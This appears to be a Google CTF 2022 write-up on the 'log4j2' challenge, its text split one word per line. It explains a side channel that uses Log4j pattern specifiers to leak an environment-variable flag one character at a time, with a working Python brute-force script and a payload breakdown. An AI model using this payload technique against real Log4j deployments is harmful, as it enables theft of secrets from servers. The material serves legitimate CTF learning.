Page Menu
Home
desp's stash
Search
Configure Global Search
Log In
Files
F369098
googlectf22.md
No One
Temporary
Actions
View File
Edit File
Delete File
View Transforms
Subscribe
Mute Notifications
Award Token
Flag For Later
Size
4 KB
Subscribers
None
googlectf22.md
View Options
###
log4j2
building
upon
the
log4j
solution
and
some
prelim
investigation
by
other
teammates
,
i
set
of
reading
a
lot
of
documentation
on
lookups
and
pattern
layout
specifiers
to
see
if
anything
is
useful
since
they
practically
just
slapped
a
filter
on
logs
and
stuff
,
i
wondered
what
exactly
they
were
checking
and
`
/
repeat
`
works
like
a
charm
on
letting
me
test
certain
keywords
that
might
hit
the
filter
-
it
would
say
sensitive
info
whenever
i
hit
a
keyword
i
figured
out
its
"ERROR"
,
"WARNING"
,
"Exception"
and
"CTF"
,
but
even
these
few
words
basically
disabled
us
from
using
the
same
method
as
the
old
solution
which
was
to
break
formatter
to
print
exceptions
`
text
=/[${
date
:
yyyyMMdd
.${
env
:
FLAG
}
HHmmSS
}]
`
-
even
if
we
can
hide
CTF
using
some
transformers
like
`
%
replace
`
and
`
${
lower
:}
`
,
we
wont
be
able
to
hide
the
"ERROR"
or
"Exception"
keywords
since
those
are
directly
from
the
pattern
parser
(
`
%
xEx
`
and
`
%
throwable
`
both
doesnt
do
anything
)
so
i
turned
to
trying
to
see
if
i
can
leak
parts
of
the
flag
out
but
the
only
way
i
can
tell
is
to
hide
details
inside
the
stacktraces
which
are
blocked
but
then
i
remembered
the
influxql
chall
from
wectf
that
me
and
angus
solved
where
angus
found
a
way
to
side
channel
it
and
i
see
`
%
equals
`
being
a
thing
in
the
specifiers
so
the
only
thing
i
need
to
do
is
to
trigger
a
warning
or
an
error
only
when
my
guessed
flag
matches
-
`
%
equals
{${
env
:
FLAG
}}{<
guess
>}{<
something
that
triggers
a
warning
only
when
run
>}
`
however
theres
not
really
a
good
canadidate
that
throws
a
parser
error
only
when
run
-
`
%
d
`
like
in
the
old
solution
always
fail
even
if
`
%
equals
`
is
not
matched
but
it
fails
twice
if
it
matches
,
which
is
a
good
sign
that
there
might
be
better
specifiers
out
there
-
and
indeed
if
i
do
`
%
C
{<
anything
>}
`
i
get
a
warning
thats
censored
only
if
my
guess
equals
-
thus
the
payload
is
now
`
%
equals
{${
env
:
FLAG
}}{<
guess
>}{%
C
{
a
}}
`
but
i
have
to
find
a
way
to
guess
character
by
character
to
save
time
-
this
is
where
`
%
maxLen
`
comes
into
play
so
i
can
get
the
first
x
chars
only
,
and
the
payload
becomes
`
%
equals
{%
maxLen
{${
env
:
FLAG
}}{<
len
of
guess
>}}{<
guess
>}{%
C
{
a
}}
`
with
that
we
can
write
a
script
to
leak
the
first
3
chars
,
and
they
are
indeed
`
CTF
`
-
but
then
i
run
into
a
problem
of
`
{}
`
being
special
chars
for
lookups
so
i
need
to
escape
it
somehow
`
%
equals
`
doesnt
look
like
it
has
a
way
to
escape
,
so
i
had
to
introduce
`
%
replace
`
as
mentioned
[
here
](
https
:
//stackoverflow.com/questions/57658504/escape-curly-braces-in-log4js-replacepatternregexsubstitution)
with
`
/%
equals
{%
replace
{%
maxLen
{${
env
:
FLAG
}}{<
len
of
guess
>}}{[\{\}]}{=}}{<
guess
>}{%
C
{
a
}}
`
,
we
can
finally
leak
the
flag
,
which
looks
like
lowercase
letters
-
until
it
hangs
at
21
st
character
turns
out
`
%
maxLen
`
appends
`
...
`
if
it
exceeds
20
chars
,
and
just
padding
the
dots
into
the
flag
doesnt
seem
to
fix
anything
,
so
i
had
to
also
replace
the
dots
to
equal
signs
just
like
the
curly
brackets
and
finally
with
`
/%
equals
{%
replace
{%
maxLen
{${
env
:
FLAG
}}{<
len
of
guess
>}}{[\{\}.]}{=}}{<
guess
+
padding
as
needed
>}{%
C
{
a
}}
`
we
can
get
the
script
that
generates
the
flag
:
```
py
import
requests
import
string
flag
=
'
CTF
=
'
while
True
:
for
c
in
string
.
ascii_lowercase
+
'
-=
'
:
#
if
c
in
'
}{
'
:
#
for
string
.
printable
since
these
instantly
breaks
parser
#
continue
pad
=
'
===
'
if
len
(
flag
)+
1
>
20
else
''
#
thanks
%
maxLen
for
the
weird
behaviour
payload
=
r
"/%equals{%replace{%maxLen{${env:FLAG}}{"
+
str
(
len
(
flag
)+
1
)
+
r
"}}{[\{\}.]}{=}}{"
+
flag
+
c
+
pad
+
r
"}{%C{a}}"
print
(
payload
)
r
=
requests
.
post
(
'
https
:
//log4j2-web.2022.ctfcompetition.com/', data={"text":payload})
print
(
r
.
content
)
if
b
'
Sensitive
'
in
r
.
content
:
flag
+=
c
print
(
'
current
'
,
flag
)
break
if
flag
.
endswith
(
'
====
'
):
break
```
and
here
'
s
the
breakdown
of
the
payload
:
```
%
equals
{
%
replace
{
%
maxLen
{
${
env
:
FLAG
}
#
retrieve
original
flag
}{
4
#
flag
length
to
check
-
must
match
the
check
length
since
theres
no
startWith
in
log4j
so
we
have
to
truncate
}
}{
[\{\}.]
#
find
all
{
}
s
in
flag
,
along
with
the
elipsis
}{
=
#
replace
with
placeholder
-
see
flag
to
check
for
more
info
}
}{
CTF
=
#
flag
to
check
-
note
that
=
is
in
place
of
{
since
curly
brackets
escaping
is
not
a
thing
in
%
equals
it
looks
like
}{
%
C
{
a
}
#
this
triggers
a
warning
only
if
it
hits
,
aka
it
wont
show
WARNING
if
equals
never
matched
-
i
originally
used
%
d
,
but
the
format
evaluates
regardless
whether
it
hit
or
not
(
hitting
will
show
2
warnings
instead
of
1
which
doesnt
help
)
}
```
`
CTF
{
and
-
you
-
thought
-
it
-
was
-
over
-
didnt
-
you
}
`
for
some
reason
the
ending
bracket
never
got
hit
though
,
so
the
endswith
clause
never
ran
but
hey
flag
is
flag
ey
File Metadata
Details
Attached
Mime Type
text/plain
Expires
Sun, Jul 6, 4:49 PM (1 d, 2 h)
Storage Engine
local-disk
Storage Format
Raw Data
Storage Handle
2d/9b/7769620927ac290b3ac43364d1b5
Attached To
rCTFD CTF diary
Event Timeline
Log In to Comment